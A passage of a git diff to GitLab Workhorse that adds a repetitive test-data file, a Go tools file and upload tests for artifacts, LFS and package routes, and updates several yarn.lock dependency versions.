+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
+UploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPackUploadPack
diff --git a/workhorse/testdata/video.mp4 b/workhorse/testdata/video.mp4
new file mode 100644
index 00000000000..3fa1408d106
--- /dev/null
+++ b/workhorse/testdata/video.mp4
Binary files differ
diff --git a/workhorse/tools.go b/workhorse/tools.go
new file mode 100644
index 00000000000..9df59be349e
--- /dev/null
+++ b/workhorse/tools.go
@@ -0,0 +1,9 @@
+//+build tools
+
+package main
+
+import (
+ _ "golang.org/x/lint/golint"
+ _ "golang.org/x/tools/cmd/goimports"
+ _ "honnef.co/go/tools/cmd/staticcheck"
+)
diff --git a/workhorse/upload_test.go b/workhorse/upload_test.go
new file mode 100644
index 00000000000..1e5d9bd00e9
--- /dev/null
+++ b/workhorse/upload_test.go
@@ -0,0 +1,369 @@
+package main
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "regexp"
+ "strconv"
+ "strings"
+ "testing"
+
+ "github.com/dgrijalva/jwt-go"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+)
+
+type uploadArtifactsFunction func(url, contentType string, body io.Reader) (*http.Response, string, error)
+
+func uploadArtifactsV1(url, contentType string, body io.Reader) (*http.Response, string, error) {
+ resource := `/ci/api/v1/builds/123/artifacts`
+ resp, err := http.Post(url+resource, contentType, body)
+ return resp, resource, err
+}
+
+func uploadArtifactsV4(url, contentType string, body io.Reader) (*http.Response, string, error) {
+ resource := `/api/v4/jobs/123/artifacts`
+ resp, err := http.Post(url+resource, contentType, body)
+ return resp, resource, err
+}
+
+func testArtifactsUpload(t *testing.T, uploadArtifacts uploadArtifactsFunction) {
+ reqBody, contentType, err := multipartBodyWithFile()
+ require.NoError(t, err)
+
+ ts := signedUploadTestServer(t, nil)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ resp, resource, err := uploadArtifacts(ws.URL, contentType, reqBody)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+
+ require.Equal(t, 200, resp.StatusCode, "GET %q: expected 200, got %d", resource, resp.StatusCode)
+}
+
+func TestArtifactsUpload(t *testing.T) {
+ testArtifactsUpload(t, uploadArtifactsV1)
+ testArtifactsUpload(t, uploadArtifactsV4)
+}
+
+func expectSignedRequest(t *testing.T, r *http.Request) {
+ t.Helper()
+
+ _, err := jwt.Parse(r.Header.Get(secret.RequestHeader), testhelper.ParseJWT)
+ require.NoError(t, err)
+}
+
+func uploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.Server {
+ return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ if strings.HasSuffix(r.URL.Path, "/authorize") {
+ expectSignedRequest(t, r)
+
+ w.Header().Set("Content-Type", api.ResponseContentType)
+ _, err := fmt.Fprintf(w, `{"TempPath":"%s"}`, scratchDir)
+ require.NoError(t, err)
+ return
+ }
+
+ require.NoError(t, r.ParseMultipartForm(100000))
+
+ const nValues = 10 // file name, path, remote_url, remote_id, size, md5, sha1, sha256, sha512, gitlab-workhorse-upload for just the upload (no metadata because we are not POSTing a valid zip file)
+ require.Len(t, r.MultipartForm.Value, nValues)
+
+ require.Empty(t, r.MultipartForm.File, "multipart form files")
+
+ if extraTests != nil {
+ extraTests(r)
+ }
+ w.WriteHeader(200)
+ })
+}
+
+func signedUploadTestServer(t *testing.T, extraTests func(r *http.Request)) *httptest.Server {
+ t.Helper()
+
+ return uploadTestServer(t, func(r *http.Request) {
+ expectSignedRequest(t, r)
+
+ if extraTests != nil {
+ extraTests(r)
+ }
+ })
+}
+
+func TestAcceleratedUpload(t *testing.T) {
+ tests := []struct {
+ method string
+ resource string
+ signedFinalization bool
+ }{
+ {"POST", `/example`, false},
+ {"POST", `/uploads/personal_snippet`, true},
+ {"POST", `/uploads/user`, true},
+ {"POST", `/api/v4/projects/1/wikis/attachments`, false},
+ {"POST", `/api/graphql`, false},
+ {"PUT", "/api/v4/projects/9001/packages/nuget/v1/files", true},
+ {"POST", `/api/v4/groups/import`, true},
+ {"POST", `/api/v4/projects/import`, true},
+ {"POST", `/import/gitlab_project`, true},
+ {"POST", `/import/gitlab_group`, true},
+ {"POST", `/api/v4/projects/9001/packages/pypi`, true},
+ {"POST", `/api/v4/projects/9001/issues/30/metric_images`, true},
+ {"POST", `/my/project/-/requirements_management/requirements/import_csv`, true},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.resource, func(t *testing.T) {
+ ts := uploadTestServer(t,
+ func(r *http.Request) {
+ if tt.signedFinalization {
+ expectSignedRequest(t, r)
+ }
+
+ token, err := jwt.ParseWithClaims(r.Header.Get(upload.RewrittenFieldsHeader), &upload.MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err)
+
+ rewrittenFields := token.Claims.(*upload.MultipartClaims).RewrittenFields
+ if len(rewrittenFields) != 1 || len(rewrittenFields["file"]) == 0 {
+ t.Fatalf("Unexpected rewritten_fields value: %v", rewrittenFields)
+ }
+
+ token, jwtErr := jwt.ParseWithClaims(r.PostFormValue("file.gitlab-workhorse-upload"), &testhelper.UploadClaims{}, testhelper.ParseJWT)
+ require.NoError(t, jwtErr)
+
+ uploadFields := token.Claims.(*testhelper.UploadClaims).Upload
+ require.Contains(t, uploadFields, "name")
+ require.Contains(t, uploadFields, "path")
+ require.Contains(t, uploadFields, "remote_url")
+ require.Contains(t, uploadFields, "remote_id")
+ require.Contains(t, uploadFields, "size")
+ require.Contains(t, uploadFields, "md5")
+ require.Contains(t, uploadFields, "sha1")
+ require.Contains(t, uploadFields, "sha256")
+ require.Contains(t, uploadFields, "sha512")
+ })
+
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ reqBody, contentType, err := multipartBodyWithFile()
+ require.NoError(t, err)
+
+ req, err := http.NewRequest(tt.method, ws.URL+tt.resource, reqBody)
+ require.NoError(t, err)
+
+ req.Header.Set("Content-Type", contentType)
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode)
+
+ resp.Body.Close()
+ })
+ }
+}
+
+func multipartBodyWithFile() (io.Reader, string, error) {
+ result := &bytes.Buffer{}
+ writer := multipart.NewWriter(result)
+ file, err := writer.CreateFormFile("file", "my.file")
+ if err != nil {
+ return nil, "", err
+ }
+ fmt.Fprint(file, "SHOULD BE ON DISK, NOT IN MULTIPART")
+ return result, writer.FormDataContentType(), writer.Close()
+}
+
+func TestBlockingRewrittenFieldsHeader(t *testing.T) {
+ canary := "untrusted header passed by user"
+ testCases := []struct {
+ desc string
+ contentType string
+ body io.Reader
+ present bool
+ }{
+ {"multipart with file", "", nil, true}, // placeholder
+ {"no multipart", "text/plain", nil, false},
+ }
+
+ var err error
+ testCases[0].body, testCases[0].contentType, err = multipartBodyWithFile()
+ require.NoError(t, err)
+
+ for _, tc := range testCases {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ key := upload.RewrittenFieldsHeader
+ if tc.present {
+ require.Contains(t, r.Header, key)
+ } else {
+ require.NotContains(t, r.Header, key)
+ }
+
+ require.NotEqual(t, canary, r.Header.Get(key), "Found canary %q in header %q", canary, key)
+ })
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ req, err := http.NewRequest("POST", ws.URL+"/something", tc.body)
+ require.NoError(t, err)
+
+ req.Header.Set("Content-Type", tc.contentType)
+ req.Header.Set(upload.RewrittenFieldsHeader, canary)
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+
+ require.Equal(t, 200, resp.StatusCode, "status code")
+ }
+}
+
+func TestLfsUpload(t *testing.T) {
+ reqBody := "test data"
+ rspBody := "test success"
+ oid := "916f0027a575074ce72a331777c3478d6513f786a591bd892da1a577bf2335f9"
+ resource := fmt.Sprintf("/%s/gitlab-lfs/objects/%s/%d", testRepo, oid, len(reqBody))
+
+ lfsApiResponse := fmt.Sprintf(
+ `{"TempPath":%q, "LfsOid":%q, "LfsSize": %d}`,
+ scratchDir, oid, len(reqBody),
+ )
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, r.Method, "PUT")
+ switch r.RequestURI {
+ case resource + "/authorize":
+ expectSignedRequest(t, r)
+
+ // Instruct workhorse to accept the upload
+ w.Header().Set("Content-Type", api.ResponseContentType)
+ _, err := fmt.Fprint(w, lfsApiResponse)
+ require.NoError(t, err)
+
+ case resource:
+ expectSignedRequest(t, r)
+
+ // Expect the request to point to a file on disk containing the data
+ require.NoError(t, r.ParseForm())
+ require.Equal(t, oid, r.Form.Get("file.sha256"), "Invalid SHA256 populated")
+ require.Equal(t, strconv.Itoa(len(reqBody)), r.Form.Get("file.size"), "Invalid size populated")
+
+ tempfile, err := ioutil.ReadFile(r.Form.Get("file.path"))
+ require.NoError(t, err)
+ require.Equal(t, reqBody, string(tempfile), "Temporary file has the wrong body")
+
+ fmt.Fprint(w, rspBody)
+ default:
+ t.Fatalf("Unexpected request to upstream! %v %q", r.Method, r.RequestURI)
+ }
+ })
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ req, err := http.NewRequest("PUT", ws.URL+resource, strings.NewReader(reqBody))
+ require.NoError(t, err)
+
+ req.Header.Set("Content-Type", "application/octet-stream")
+ req.ContentLength = int64(len(reqBody))
+
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+
+ defer resp.Body.Close()
+ rspData, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+
+ // Expect the (eventual) response to be proxied through, untouched
+ require.Equal(t, 200, resp.StatusCode)
+ require.Equal(t, rspBody, string(rspData))
+}
+
+func packageUploadTestServer(t *testing.T, resource string, reqBody string, rspBody string) *httptest.Server {
+ return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, r.Method, "PUT")
+ apiResponse := fmt.Sprintf(
+ `{"TempPath":%q, "Size": %d}`, scratchDir, len(reqBody),
+ )
+ switch r.RequestURI {
+ case resource + "/authorize":
+ expectSignedRequest(t, r)
+
+ // Instruct workhorse to accept the upload
+ w.Header().Set("Content-Type", api.ResponseContentType)
+ _, err := fmt.Fprint(w, apiResponse)
+ require.NoError(t, err)
+
+ case resource:
+ expectSignedRequest(t, r)
+
+ // Expect the request to point to a file on disk containing the data
+ require.NoError(t, r.ParseForm())
+
+ len := strconv.Itoa(len(reqBody))
+ require.Equal(t, len, r.Form.Get("file.size"), "Invalid size populated")
+
+ tmpFilePath := r.Form.Get("file.path")
+ fileData, err := ioutil.ReadFile(tmpFilePath)
+ defer os.Remove(tmpFilePath)
+
+ require.NoError(t, err)
+ require.Equal(t, reqBody, string(fileData), "Temporary file has the wrong body")
+
+ fmt.Fprint(w, rspBody)
+ default:
+ t.Fatalf("Unexpected request to upstream! %v %q", r.Method, r.RequestURI)
+ }
+ })
+}
+
+func testPackageFileUpload(t *testing.T, resource string) {
+ reqBody := "test data"
+ rspBody := "test success"
+
+ ts := packageUploadTestServer(t, resource, reqBody, rspBody)
+ defer ts.Close()
+
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ req, err := http.NewRequest("PUT", ws.URL+resource, strings.NewReader(reqBody))
+ require.NoError(t, err)
+
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+
+ respData, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+ require.Equal(t, rspBody, string(respData), "Temporary file has the wrong body")
+ defer resp.Body.Close()
+
+ require.Equal(t, 200, resp.StatusCode)
+}
+
+func TestPackageFilesUpload(t *testing.T) {
+ routes := []string{
+ "/api/v4/packages/conan/v1/files",
+ "/api/v4/projects/2412/packages/conan/v1/files",
+ "/api/v4/projects/2412/packages/maven/v1/files",
+ "/api/v4/projects/2412/packages/generic/mypackage/0.0.1/myfile.tar.gz",
+ "/api/v4/projects/2412/-/packages/debian/incoming/libsample0_1.2.3~alpha2-1_amd64.deb",
+ }
+
+ for _, r := range routes {
+ testPackageFileUpload(t, r)
+ }
+}
diff --git a/yarn.lock b/yarn.lock
index a2e89886d6d..58e3a393196 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -861,21 +861,26 @@
eslint-plugin-vue "^6.2.1"
vue-eslint-parser "^7.0.0"
-"@gitlab/svgs@1.175.0":
- version "1.175.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.175.0.tgz#734f341784af1cd1d62d160a17bcdfb61ff7b04d"
- integrity sha512-gXpc87TGSXIzfAr4QER1Qw1v3P47pBO6BXkma52blgwXVmcFNe3nhQzqsqt66wKNzrIrk3lAcB4GUyPHbPVXpg==
+"@gitlab/svgs@1.177.0":
+ version "1.177.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.177.0.tgz#e481ed327a11d3834c8b1668d7485b9eefef97f5"
+ integrity sha512-L7DggusgkbubNFCRIYtCuYiLx+t5Hp8y/XIxJ3RM5mqAfxkTR1KxALNLDP9CT7xWieHDhNvgcXAdamGoi0ofDQ==
-"@gitlab/ui@23.9.0":
- version "23.9.0"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-23.9.0.tgz#e21966130b41e624dbe4505911a79afb731c2d6b"
- integrity sha512-IfaiIcRw6iKE9Fxx36LQ1Afa/fcdmvRQCJO9igc+wWD3MFZGU/ggsQw3SExkkYI6XYmDUr56CT/o+HYlCDjgZQ==
+"@gitlab/tributejs@1.0.0":
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
+ integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
+
+"@gitlab/ui@24.8.1":
+ version "24.8.1"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-24.8.1.tgz#eb674d19aedf9c91b9a14aa7a66397d54b199fb7"
+ integrity sha512-tiK1toaa8VqiGGLQCTiOJRemODusm773yVDZjWT5RtmfhsnwFXpBu6wuV3YJjPbeptuzCsX3q2a+thEswZkAZQ==
dependencies:
"@babel/standalone" "^7.0.0"
"@gitlab/vue-toasted" "^1.3.0"
bootstrap-vue "2.13.1"
copy-to-clipboard "^3.0.8"
- dompurify "^2.2.2"
+ dompurify "^2.2.3"
echarts "^4.2.1"
highlight.js "^9.13.1"
js-beautify "^1.8.8"
@@ -1173,20 +1178,20 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@toast-ui/editor@^2.5.0":
- version "2.5.0"
- resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.5.0.tgz#02779b119eaa6dd7601249d75ca031e0b98400f1"
- integrity sha512-h4LgcGz+oedTqNAaSCp0VpR+k4C6Ag01hdDb1kPvO4aMQ/aTtT8uA34plpmYQgJvM0CWD1mXqWUSPkyJtRzDyA==
+"@toast-ui/editor@^2.5.1":
+ version "2.5.1"
+ resolved "https://registry.yarnpkg.com/@toast-ui/editor/-/editor-2.5.1.tgz#42671c52ca4b97c84f684d09c2966711b36f41a7"
+ integrity sha512-LVNo/YaNItUemEaRFvFAVn7w/0U7yxEheMdn6GEGxqo727rRZD1MH7OTDVq6NeQ+P93VwFpa0i9GGRBhNNEbPQ==
dependencies:
"@types/codemirror" "0.0.71"
codemirror "^5.48.4"
-"@toast-ui/vue-editor@^2.5.0":
- version "2.5.0"
- resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.5.0.tgz#8094136588b0f726241b5f89d0754a7169f2ffee"
- integrity sha512-GREAaVOe5esQaQFmFCZLjo6iOtIvqvYhANulvsKpbh4QNnsPLaFRIQoUDSImNPVGkDDQn60wxXBnZVKOl9sMmg==
+"@toast-ui/vue-editor@^2.5.1":
+ version "2.5.1"
+ resolved "https://registry.yarnpkg.com/@toast-ui/vue-editor/-/vue-editor-2.5.1.tgz#0a221d74d5305c8ca20cb11d9eb8ff9206455cfc"
+ integrity sha512-vD0FowDrlMPfR4m1Sd91YthkMLul4lTdiwl1QcDYX+JhIzxXMuQhFABezny/TvKJLxkCkHGpt7XsTjXvMUa04w==
dependencies:
- "@toast-ui/editor" "^2.5.0"
+ "@toast-ui/editor" "^2.5.1"
"@types/aria-query@^4.2.0":
version "4.2.0"
@@ -4181,10 +4186,10 @@ domhandler@^2.3.0:
dependencies:
domelementtype "1"
-dompurify@^2.2.2:
- version "2.2.2"
- resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.2.tgz#cb8c2b1a2f3c8a0b565127504ae4eedec176a972"
- integrity sha512-BsGR4nDLaC5CNBnyT5I+d5pOeaoWvgVeg6Gq/aqmKYWMPR07131u60I80BvExLAJ0FQEIBQ1BTicw+C5+jOyrg==
+dompurify@^2.2.3, dompurify@^2.2.4:
+ version "2.2.4"
+ resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.4.tgz#a98cd182b729bdd8715c3eb7a8bf8eafb2ff7410"
+ integrity sha512-jE21SelIgWrGKoXGfGPA524Zt1IJFBnktwfFMHDlEYRx5FZOdc+4eEH9mkA6PuhExrq3HVpJnY8hMYUzAMl0OA==
domutils@^1.5.1:
version "1.6.2"
@@ -6972,6 +6977,11 @@ jest-pnp-resolver@^1.2.2:
resolved "https://registry.yarnpkg.com/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz#b704ac0ae028a89108a4d040b3f919dfddc8e33c"
integrity sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==
+jest-raw-loader@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/jest-raw-loader/-/jest-raw-loader-1.0.1.tgz#ce9f56d54650f157c4a7d16d224ba5d613bcd626"
+ integrity sha1-zp9W1UZQ8VfEp9FtIkul1hO81iY=
+
jest-regex-util@^26.0.0:
version "26.0.0"
resolved "https://registry.yarnpkg.com/jest-regex-util/-/jest-regex-util-26.0.0.tgz#d25e7184b36e39fd466c3bc41be0971e821fee28"
@@ -8399,10 +8409,10 @@ mkdirp@1.x, mkdirp@^1.0.4, mkdirp@~1.0.3:
dependencies:
minimist "0.0.8"
-mock-apollo-client@^0.4.0:
- version "0.4.0"
- resolved "https://registry.yarnpkg.com/mock-apollo-client/-/mock-apollo-client-0.4.0.tgz#556a6090b1816dbf07e51093b652aca84aee979e"
- integrity sha512-cHznpkX8uUClkWWJMpgdDWzEgjacM85xt69S9gPLrssM8Vahas0QmEJkFUycrRQyBkaqxvRe58Bg3a5pOvj2zA==
+mock-apollo-client@^0.5.0:
+ version "0.5.0"
+ resolved "https://registry.yarnpkg.com/mock-apollo-client/-/mock-apollo-client-0.5.0.tgz#8f0d6a1ba0d349ebde87a1dcd85c7fd353076922"
